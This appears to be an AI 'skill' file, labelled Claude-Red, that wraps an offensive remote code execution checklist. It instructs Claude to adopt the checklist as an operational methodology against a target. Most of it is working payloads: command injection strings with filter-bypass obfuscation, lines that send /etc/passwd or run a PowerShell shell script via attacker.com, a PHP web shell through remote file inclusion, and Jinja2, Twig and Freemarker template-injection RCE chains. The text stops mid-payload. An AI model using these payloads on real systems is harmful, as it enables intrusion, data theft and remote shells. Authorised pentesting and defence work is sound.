Claude-Red

SKILL: Remote Code Execution

Metadata

• Skill Name: rce
• Folder: offensive-rce
• Source: https://github.com/SnailSploit/offensive-checklist/blob/main/rce.md

Description

Remote Code Execution testing checklist: OS command injection, SSTI-to-RCE, deserialization RCE, file upload RCE, XXE with SSRF to RCE, RCE via dependency confusion, and CVE-based RCE patterns. Use for web app pentests and bug bounty RCE discovery.

Trigger Phrases

Use this skill when the conversation involves any of: RCE, remote code execution, command injection, OS injection, SSTI RCE, deserialization RCE, file upload RCE, XXE RCE, dependency confusion, code execution

Instructions for Claude

When this skill is active:

1. Load and apply the full methodology below as your operational checklist
2. Follow steps in order unless the user specifies otherwise
3. For each technique, consider applicability to the current target/context
4. Track which checklist items have been completed
5. Suggest next steps based on findings

Full Methodology

Remote Code Execution

occurs when an attacker can execute arbitrary code on a target machine because of a vulnerability or misconfiguration.

Shortcut

1. Identify suspicious user input locations. for code injections, take note of every user input location, including URL parameters, HTTP headers, body parameters, and file uploads. to find potential file inclusion vulnerabilities, check for input locations being used to inclusion vulnerabilities, check for input locations being used to determine or, construct filenames and, for file upload functions.
2. Submit test payloads to the input locations in order to detect potential vulnerabilities.
3. If your requests are blocked, try protection bypass techniques and see if your payload succeeds.
4. Finally, confirm the vulnerability by trying to execute harmless commands such as whoami, ls, and, sleep 5.

Mechanisms

Code Injection

This program takes a user input string, pass it through eval() and return the results:

def calculate(input):
  return eval("{}".format(input))

result = calculate(user_input.calc)
print("The result is {}.".format(result))

an attacker could provide the application with something more malicious instead:

GET /calculator?calc="__import__('os').system('ls')"
Host: example.com

File Inclusion

making the target server include a file containing malicious code.

<?php
  // Some PHP code

  $file = $_GET["page"];
  include $file;

  // Some PHP code
?>

if the application doesn't limit which file the user includes with the page parameter, an attacker can include a malicious PHP file.

<?PHP
  system($_GET["cmd"]);
?>

and then they can run commands:

http://example.com/?page=http://attacker.com/malicious.php?cmd=ls

Command Injection

Untrusted data flows into OS command execution APIs.

Examples:

subprocess.run("ping -c 1 " + user, shell=True)  # vulnerable
subprocess.run(["ping", "-c", "1", user], shell=False)  # safer

Detect via time/delay payloads (&& sleep 5), OAST/DNS callbacks, and out-of-band responses.

Server-Side Template Injection (SSTI)

User-controlled template strings evaluated by template engines (Jinja2, Twig, Freemarker, Thymeleaf) can lead to RCE.

Probe with arithmetic/concat markers, escalate using engine-specific object graphs. Tools: tplmap.

Insecure Deserialization

Deserializing untrusted data (Java, .NET, PHP, Python pickle) can trigger gadget chains to RCE.

Test with known gadget payloads (e.g., ysoserial, marshalsec), and observe blind effects via OAST.

Unsafe YAML and Config Parsers

Loading YAML with object constructors (yaml.load vs safe_load) can lead to code execution.

File Upload → Processing Chains

Upload parsers (ImageMagick, ExifTool, video transcoders) may execute/parse complex formats leading to RCE. Test with harmless PoCs and OAST.

Hunt

1. Identify Input Vectors

Map all user-controlled input that could lead to code execution:

• Command-line argument injection: APIs that execute shell commands, CLI tools, system utilities
• Template engines: User-provided templates or template variables (Jinja2, Twig, Freemarker, Thymeleaf, ERB, Handlebars)
• File uploads: Server-side processing of images, documents, archives, media files
• Deserialization endpoints: APIs accepting serialized objects (Java, .NET, Python pickle, PHP serialize, Ruby Marshal)
• Expression Language fields: Search filters, calculations, dynamic queries (SpEL, OGNL, MVEL, EL)
• Webhook URLs: Server-side fetches triggered by user-supplied URLs
• Log file paths: Log injection leading to log processing (LogForge, Log4Shell)
• Configuration files: Upload or modification of config files (.htaccess, web.config, cron jobs)
• Email/document processing: Mail parsers, PDF generators, office document converters
• Image manipulation: ImageMagick, GraphicsMagick, Pillow, GD library operations
• Video/audio processing: FFmpeg, ExifTool, media transcoders

2. Test Payloads by Context

Command Injection Payloads

Linux/Unix:

# Basic injection
; whoami
| whoami
|| whoami
& whoami
&& whoami
`whoami`
$(whoami)

# Time-based detection
; sleep 10
| sleep 10 &
|| ping -c 10 127.0.0.1

# Out-of-band (OAST)
; nslookup $(whoami).attacker.com
; curl http://attacker.com/$(whoami)
; wget http://attacker.com/?data=$(cat /etc/passwd | base64)

# Space bypasses
cat</etc/passwd
{cat,/etc/passwd}
cat$IFS/etc/passwd
cat${IFS}/etc/passwd
X=$'cat\x20/etc/passwd'&&$X

# Command obfuscation
c''at /etc/passwd
c\at /etc/passwd
c"a"t /etc/passwd
$(echo Y2F0IC9ldGMvcGFzc3dk | base64 -d)

# Wildcard injection
/???/??t /???/??ss??
/???/n? 127.0.0.1

# Variable expansion
a=w;b=hoami;$a$b

Windows:

# Basic injection
& whoami
&& whoami
| whoami
|| whoami
; whoami

# Newline injection
%0a whoami

# Time-based
| ping -n 10 127.0.0.1
& timeout /t 10

# OAST
& nslookup %USERNAME%.attacker.com
& certutil -urlcache -split -f http://attacker.com/beacon

# PowerShell execution
& powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/shell.ps1')"

Server-Side Template Injection (SSTI) Payloads

Jinja2 (Python - Flask, Ansible):

# Detection
{{7*7}}                              # Returns 49
{{7*'7'}}                            # Returns 7777777

# Reconnaissance
{{config}}
{{config.items()}}
{{self}}
{%debug%}

# RCE via __subclasses__
{{''.__class__.__mro__[1].__subclasses__()}}

# Find useful classes
{{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['sys'].modules['os'].popen('whoami').read()}}

# subprocess.Popen
{{''.__class__.__mro__[1].__subclasses__()[396]('whoami',shell=True,stdout=-1).communicate()}}

# Modern bypass (Python 3)
{{request.application.__globals__.__builtins__.__import__('os').popen('whoami').read()}}

# Lipsum object abuse
{{lipsum.__globals__['os'].popen('whoami').read()}}

# Cycler object
{{cycler.__init__.__globals__.os.popen('whoami').read()}}

Twig (PHP - Symfony):

# Detection
{{7*7}}

# RCE
{{_self.env.registerUndefinedFilterCallback("exec")}}
{{_self.env.getFilter("whoami")}}

# Alternative
{{_self.env.enableDebug()}}
{{_self.env.isDebug()}}

# PHP filter chain (modern)
{{["id"]|filter("system")}}

Freemarker (Java):

# Detection
${7*7}

# RCE
<#assign ex="freemarker.template.utility.Execute"?new()>
${ex("whoami")}

# Alternative
<#assign classLoader=object?api.class.protectionDomain.classLoader>
<#assign clazz=classLoader.loadClass("java.lang.Runtime")>
<#assign method=clazz.getMethod("getRuntime",null)>
<#assign runtime=method.invoke(null,null)>
<#assign method=clazz.getMethod("exec",classLoader.loadClass("java.lang.String"))>
${method.invoke(runtime,"whoami")}

Thymeleaf (Java - Spring):

# Detection
[[${7*7}]]

# RCE
${T(ja